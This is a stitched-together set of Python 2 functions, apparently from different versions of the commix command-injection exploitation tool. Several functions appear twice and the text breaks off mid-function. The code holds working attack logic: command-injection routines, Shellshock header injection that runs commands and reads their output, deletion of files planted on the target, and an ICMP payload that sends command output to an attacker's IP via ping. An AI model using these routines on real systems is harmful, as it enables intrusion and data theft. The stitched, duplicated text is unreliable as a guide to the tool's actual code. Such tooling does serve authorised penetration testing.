def request(self, method, url, body, headers): info_msg = "The provided HTTP request headers: " if settings.VERBOSITY_LEVEL >= 2: print settings.print_info_msg(info_msg) if menu.options.traffic_file: logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37) header = method + " " + url if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) for item in headers.items(): header = item[0] + ": " + item[1] if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if body : header = body if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: logs.log_traffic("\n\n") if settings.SCHEME == 'https': httplib.HTTPSConnection.request(self, method, url, body, headers) else: httplib.HTTPConnection.request(self, method, url, body, headers)
def revision_num(): try: start = 0 end = 0 start = time.time() process = subprocess.Popen("git reset --hard HEAD && git clean -fd && git pull", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() if not menu.options.verbose: info_msg = ('Updated to', 'Already at')["Already" in stdout] process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Delete *.pyc files. subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait() # Delete empty directories and files. subprocess.Popen("find . -empty -type d -delete", shell=True).wait() if not menu.options.verbose: stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None info_msg += " the latest revision '" + str(rev_num[:7]) + "'." print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" else: sys.stdout.write(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) end = time.time() how_long = int(end - start) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." print settings.print_info_msg(info_msg) except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" raise SystemExit()
def do_check(url): check_proxy = True try: if settings.VERBOSITY_LEVEL >= 1: info_msg = "Setting the HTTP proxy for all HTTP requests... " print settings.print_info_msg(info_msg) # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_SCHEME) try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: pass else: err_msg = "Unable to connect to the target URL or proxy (" err_msg += menu.options.proxy err_msg += ")." print settings.print_critical_msg(err_msg) raise SystemExit()
def injection_proccess(url, check_parameter, http_request_method, filename, delay): # User-Agent Injection / Referer Injection / Custom header Injection if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header " else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter " check_parameter = " '" + check_parameter + "'" # Load modules modules_handler.load_modules(url, http_request_method, filename) if not settings.LOAD_SESSION: info_msg = "Setting the " + "(" + http_request_method info_msg += ")" + check_parameter + header_name + the_type + "for tests." print settings.print_info_msg(info_msg) # Estimating the response time (in seconds) delay, url_time_response = requests.estimate_response_time(url, http_request_method, delay) # Check if it is vulnerable to classic command injection technique. if not menu.options.tech or "c" in menu.options.tech: if cb_handler.exploitation(url, delay, filename, http_request_method) != False: settings.CLASSIC_STATE = True else: settings.CLASSIC_STATE = False # Check if it is vulnerable to eval-based code injection technique. if not menu.options.tech or "e" in menu.options.tech: if eb_handler.exploitation(url, delay, filename, http_request_method) != False: settings.EVAL_BASED_STATE = True else: settings.EVAL_BASED_STATE = False # Check if it is vulnerable to time-based blind command injection technique. if not menu.options.tech or "t" in menu.options.tech: if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False # Check if it is vulnerable to file-based semiblind command injection technique. if not menu.options.tech or "f" in menu.options.tech: if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : warn_msg = "The tested (" + http_request_method + ")" warn_msg += check_parameter + header_name + the_type warn_msg += "seems to be not injectable." print settings.print_warning_msg(warn_msg)
def msf_launch_msg(output): info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." print settings.print_info_msg(info_msg) info_msg = "Once the loading is done, press here any key to continue..." sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdin.readline().replace("\n","") # Remove the ouput file. os.remove(output)
def updater(): time.sleep(1) info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " via GitHub... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if windows if settings.IS_WINDOWS: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." print settings.print_critical_msg(err_msg) sys.exit(0) else: try: requirment = "git" # Check if 'git' is installed. requirments.do_check(requirment) if requirments.do_check(requirment) == True : # Check if ".git" exists! if os.path.isdir("./.git"): sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() start = 0 end = 0 start = time.time() print "---" subprocess.Popen("git reset --hard HEAD && git pull", shell=True).wait() # Delete *.pyc files. subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait() # Delete empty directories and files. subprocess.Popen("find . -empty -type d -delete", shell=True).wait() print "---" end = time.time() how_long = int(end - start) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." print settings.print_info_msg(info_msg) print "" os._exit(0) else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "The '.git' directory not found. Do it manually: " err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL err_msg += " " + settings.APPLICATION + "' " print settings.print_critical_msg(err_msg) sys.exit(0) else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = requirment + " not found." print settings.print_critical_msg(err_msg) sys.exit(0) except Exception as err_msg: print "\n" + settings.print_critical_msg(err_msg) sys.exit(0)
def list_tamper_scripts(): info_msg = "Listing available tamper scripts:" print settings.print_info_msg(info_msg) if menu.options.list_tampers: for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): content = open(script, "rb").read() match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() print settings.SUB_CONTENT_SIGN + Fore.MAGENTA + os.path.basename(script) + Style.RESET_ALL + " - " + comment
def init_request(url): # Check connection(s) checks.check_connection(url) # Define HTTP User-Agent header user_agent_header() # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) # Check if defined POST data if menu.options.data: settings.USER_DEFINED_POST_DATA = menu.options.data # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: settings.PARAMETER_DELIMITER = menu.options.pdel try: request = urllib2.Request(url, menu.options.data) except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print settings.print_critical_msg(error_msg) elif e.errno == errno.WSAECONNRESET: error_msg = "An existing connection was forcibly closed by the remote host." print settings.print_critical_msg(error_msg) raise SystemExit() else: # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel try: request = urllib2.Request(url) except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print settings.print_critical_msg(error_msg) elif e.errno == errno.WSAECONNRESET: error_msg = "An existing connection was forcibly closed by the remote host." print settings.print_critical_msg(error_msg) raise SystemExit() headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) if settings.VERBOSITY_LEVEL >= 1: info_msg = "Creating HTTP requests opener object." print settings.print_info_msg(info_msg) # Check for URL redirection if not menu.options.ignore_redirects: url = redirection.do_check(url) # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type: info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type info_msg += " HTTP authentication credentials." print settings.print_info_msg(info_msg) return request
def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: info_msg = "A previously stored session has been held against that host." print settings.print_info_msg(info_msg) while True: if not menu.options.batch: question_msg = "Do you want to resume to the " question_msg += "(" + injection_type.split(" ")[0] + ") " question_msg += technique.rsplit(' ', 2)[0] question_msg += " injection point? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.LOAD_SESSION = sys.stdin.readline().replace("\n","").lower() else: settings.LOAD_SESSION = "" if len(settings.LOAD_SESSION) == 0: settings.LOAD_SESSION = "y" if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "a": settings.RETEST = True break elif proceed_option.lower() == "c" : settings.RETEST = False break elif proceed_option.lower() == "n": raise SystemExit() else: pass else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def updater(): time.sleep(1) info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repo... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if menu.options.offline: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "You cannot update commix via GitHub without access on the Internet." print settings.print_critical_msg(err_msg) raise SystemExit() # Check if windows if settings.IS_WINDOWS: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." print settings.print_critical_msg(err_msg) raise SystemExit() else: try: requirment = "git" # Check if 'git' is installed. requirments.do_check(requirment) if requirments.do_check(requirment) == True : # Check if ".git" exists! if os.path.isdir("./.git"): sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() revision_num() print "" os._exit(0) else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "The '.git' directory not found. Do it manually: " err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL err_msg += " " + settings.APPLICATION + "' " print settings.print_critical_msg(err_msg) raise SystemExit() else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = requirment + " not found." print settings.print_critical_msg(err_msg) raise SystemExit() except Exception as err_msg: print "\n" + settings.print_critical_msg(err_msg) raise SystemExit()
def http_response_content(content): info_msg = "The target's HTTP response page content:" if settings.VERBOSITY_LEVEL >= 4: print settings.print_info_msg(info_msg) if menu.options.traffic_file: logs.log_traffic("-" * 42 + "\n" + info_msg + "\n" + "-" * 42) if settings.VERBOSITY_LEVEL >= 4: content = checks.remove_empty_lines(content) print settings.print_http_response_content(content) if menu.options.traffic_file: logs.log_traffic("\n" + content) if menu.options.traffic_file: logs.log_traffic("\n\n" + "#" * 77 + "\n\n")
def unicorn_updater(current_version): APPLICATION_NAME = "TrustedSec's Magic Unicorn" info_msg = "Checking requirements to update " info_msg += APPLICATION_NAME + " from GitHub repo... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if menu.options.offline: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "You cannot update TrustedSec's Magic Unicorn " err_msg += "via GitHub without access on the Internet." print settings.print_critical_msg(err_msg) raise SystemExit() # Check if windows if settings.IS_WINDOWS: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." print settings.print_critical_msg(err_msg) raise SystemExit() else: try: requirment = "git" # Check if 'git' is installed. requirments.do_check(requirment) if requirments.do_check(requirment) == True : sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() if len(current_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) os.chdir(unicorn_path) else: os.chdir("../") subprocess.Popen("rm -rf unicorn", shell=True).wait() info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " info_msg += "version... " subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() os.chdir("unicorn") sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() revision_num() else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = requirment + " not found." print settings.print_critical_msg(err_msg) raise SystemExit() except Exception as err_msg: print settings.print_critical_msg(err_msg) raise SystemExit()
def server_identification(server_banner): found_server_banner = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target server... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for i in range(0,len(settings.SERVER_BANNERS)): match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) if match: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if settings.VERBOSITY_LEVEL >= 1: success_msg = "The target server was identified as " success_msg += server_banner + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) settings.SERVER_BANNER = match.group(0) found_server_banner = True # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == "win": settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" elif "nginx" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "/usr/share/nginx" elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "\\inetpub\\wwwroot" break else: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "The server which was identified as '" warn_msg += server_banner + "' seems unknown." print settings.print_warning_msg(warn_msg)
def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): global add_new_line # ICMP exfiltration payload. payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") if http_request_method == "GET": url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") req = url + data else: values = {vuln_parameter:payload} data = urllib.urlencode(values) req = urllib2.Request(url=url, data=data) try: sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") response = urllib2.urlopen(req) time.sleep(3) sys.stdout.write(Style.RESET_ALL) if add_new_line: print "\n" add_new_line = True else: print "" except urllib2.HTTPError, err_msg: print settings.print_critical_msg(str(err_msg.code)) raise SystemExit()
def application_identification(server_banner, url): found_application_extension = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target application ... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() root, application_extension = splitext(urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target application was identified as " success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print settings.print_critical_msg(err_msg) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target application." print settings.print_warning_msg(warn_msg)
def do_check(url): check_proxy = True info_msg = "Testing proxy " + menu.options.proxy + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_PROTOCOL) try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + " ]\n") sys.stdout.flush() # Check if defined "--force-ssl" option AND "--proxy" option. # We then force the proxy to https if menu.options.force_ssl and menu.options.proxy: settings.PROXY_PROTOCOL = 'https' else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "Could not connect to proxy." print settings.print_error_msg(err_msg) sys.exit(0)
def check_connection(url): hostname = urlparse.urlparse(url).hostname or '' if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): try: info_msg = "Resolving hostname '" + hostname + "'." print settings.print_info_msg(info_msg) socket.getaddrinfo(hostname, None) except socket.gaierror: err_msg = "Host '" + hostname + "' does not exist." print settings.print_critical_msg(err_msg) raise SystemExit() except socket.error, ex: err_msg = "Problem occurred while " err_msg += "resolving a host name '" + hostname + "'" print settings.print_critical_msg(err_msg) raise SystemExit()
def delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if menu.options.verbose: info_msg = "Deleting the created (" + OUTPUT_TEXTFILE + ") file..." sys.stdout.write("\n" + settings.print_info_msg(info_msg)) if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
def http_response(headers, code): info_msg = "The target's HTTP response headers (" + str(code) + "):" if settings.VERBOSITY_LEVEL >= 3: print settings.print_info_msg(info_msg) if menu.options.traffic_file: logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37) response_http_headers = str(headers).split("\r\n") for header in response_http_headers: if len(header) > 1: if settings.VERBOSITY_LEVEL >= 3: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: if settings.VERBOSITY_LEVEL <= 3: logs.log_traffic("\n\n" + "#" * 77 + "\n\n") else: logs.log_traffic("\n\n")
def ignore(url): info_msg = "Ignoring the stored session from the session file... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if os.path.isfile(settings.SESSION_FILE): print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "The session file does not exist." print settings.print_critical_msg(err_msg)
def tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response): if no_result == True: info_msg = "Trying to create a file, in temporary " info_msg += "directory (" + tmp_path + ")...\n" sys.stdout.write(settings.print_info_msg(info_msg)) call_tfb = tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) return call_tfb else : sys.stdout.write("\r") sys.stdout.flush()
def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.VERBOSITY_LEVEL >= 1: info_msg = "Deleting the created (" + OUTPUT_TEXTFILE + ") file...\n" sys.stdout.write(settings.print_info_msg(info_msg)) if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: settings.WEB_ROOT = "" cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) sys.stdout.write("\n" + settings.print_info_msg(info_msg)) if not menu.options.os_cmd: print "\n" else: err_msg = "The '" + cmd + "' command, does not return any output." print "\n" + settings.print_critical_msg(err_msg) + "\n" #eof
def url_response(url): # Check if http / https url = checks.check_http_s(url) # Check if defined Tor (--tor option). if menu.options.tor and settings.TOR_CHECK_AGAIN: tor.do_check() if menu.options.bulkfile: settings.TOR_CHECK_AGAIN = False info_msg = "Setting URL '" + url + "' for tests. " print settings.print_info_msg(info_msg) request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False if settings.INIT_TEST == True: info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print "" response = examine_request(request) return response, url
def tamper_scripts(): info_msg = "Loading tamper script(s): " print settings.print_info_msg(info_msg) # Check the provided tamper script(s) tamper_script_counter = 0 for tfile in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()): check_tfile = "src/core/tamper/" + tfile + ".py" if not os.path.exists(check_tfile.lower()): if not settings.LOAD_SESSION: err_msg = "The '" + tfile + "' tamper script does not exist." print settings.print_error_msg(err_msg) if os.path.isfile(check_tfile): tamper_script_counter = tamper_script_counter + 1 import importlib check_tfile = check_tfile.replace("/",".") importlib.import_module(check_tfile.split(".py")[0]) print settings.SUB_CONTENT_SIGN + tfile
def check_for_shell(url, cmd, cve, check_header, filename): try: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) cmd = "echo " + TAG + "$(" + cmd + ")" + TAG payload = shellshock_exploitation(cve, cmd) info_msg = "Executing the '" + cmd + "' command... " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_info_msg(info_msg)) elif settings.VERBOSITY_LEVEL > 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") header = {check_header : payload} request = urllib2.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = urllib2.urlopen(request) shell = response.read().rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) shell = ''.join(shell) return shell, payload except urllib2.URLError, err_msg: print "\n" + settings.print_critical_msg(err_msg) raise SystemExit()
def tamper_scripts(): if menu.options.tamper: # Check the provided tamper script(s) available_scripts = [] provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): available_scripts.append(os.path.basename(script.split(".py")[0])) for script in provided_scripts: if script in available_scripts: pass else: err_msg = "The '" + script + "' tamper script does not exist. " err_msg += "Use the '--list-tampers' option for listing available tamper scripts." print settings.print_critical_msg(err_msg) raise SystemExit() info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " print settings.print_info_msg(info_msg) for script in provided_scripts: if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] print settings.SUB_CONTENT_SIGN + import_script.split(".")[3] try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): err_msg = "Missing variable '__tamper__' " err_msg += "in tamper script '" + import_script.split(".")[0] + "'." print settings.print_critical_msg(err_msg) raise SystemExit() except ImportError, err_msg: print settings.print_error_msg(str(err_msg) + ".") pass # Using too many tamper scripts is usually not a good idea. :P if len(provided_scripts) >= 3 and not settings.LOAD_SESSION: warn_msg = "Using too many tamper scripts " warn_msg += "is usually not a good idea." print settings.print_warning_msg(warn_msg)
def encoding_detection(response): if not menu.options.encoding: charset_detected = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifing the indicated web-page charset... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Detecting charset charset = response.headers.getparam('charset') if len(charset) != 0 : charset_detected = True else: content = re.findall(r";charset=(.*)\"", html_data) if len(content) != 0 : charset = content charset_detected = True else: # Check if HTML5 format charset = re.findall(r"charset=['\"](.*?)['\"]", html_data) if len(charset) != 0 : charset_detected = True # Check the identifyied charset if charset_detected : settings.DEFAULT_ENCODING = charset if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" settings.ENCODING = charset.lower() if settings.ENCODING.lower() not in settings.ENCODING_LIST: warn_msg = "The indicated web-page charset " + settings.ENCODING + " seems unknown." print settings.print_warning_msg(warn_msg) else: if settings.VERBOSITY_LEVEL >= 1: success_msg = "The indicated web-page charset appears to be " success_msg += settings.ENCODING + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" else: settings.ENCODING = menu.options.encoding if settings.ENCODING.lower() not in settings.ENCODING_LIST: err_msg = "The user-defined charset '" + settings.ENCODING + "' seems unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." print settings.print_critical_msg(err_msg) raise SystemExit()
def store_crawling(): while True: if not menu.options.batch: question_msg = "Do you want to store crawling results to a temporary file " question_msg += "(for eventual further processing with other tools)? [y/N] > " sys.stdout.write(settings.print_question_msg(question_msg)) store_crawling = sys.stdin.readline().replace("\n","").lower() else: store_crawling = "" if len(store_crawling) == 0: store_crawling = "n" if store_crawling in settings.CHOICE_YES: filename = tempfile.mkstemp(suffix=".txt")[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." print settings.print_info_msg(info_msg) return str(filename) elif store_crawling in settings.CHOICE_NO: return None elif store_crawling in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + store_crawling + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def uninstaller(): info_msg = "Starting the uninstaller... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" sys.exit(0) sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() success_msg = "The un-installation of commix has finished!" print settings.print_success_msg(success_msg)
def logs_notification(filename): # Save command history. info_msg = "The results can be found at '" + os.getcwd( ) + "/" + filename + "'" print settings.print_info_msg(info_msg)
def check_http_traffic(request): # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) if settings.PROXY_PROTOCOL == 'https': handle = httplib.HTTPSConnection else: handle = httplib.HTTPConnection class do_connection(handle): def request(self, method, url, body, headers): info_msg = "The provided HTTP request headers: " if settings.VERBOSITY_LEVEL >= 2: print settings.print_info_msg(info_msg) if menu.options.traffic_file: logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37) header = method + " " + url if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) for item in headers.items(): header = item[0] + ": " + item[1] if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if body: header = body if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: logs.log_traffic("\n\n") if settings.PROXY_PROTOCOL == 'https': httplib.HTTPSConnection.request(self, method, url, body, headers) else: httplib.HTTPConnection.request(self, method, url, body, headers) class connection_handler(urllib2.HTTPHandler, urllib2.HTTPSHandler): if settings.PROXY_PROTOCOL == 'https': def https_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" print settings.print_critical_msg(error_msg) raise SystemExit() else: def http_open(self, req): try: return 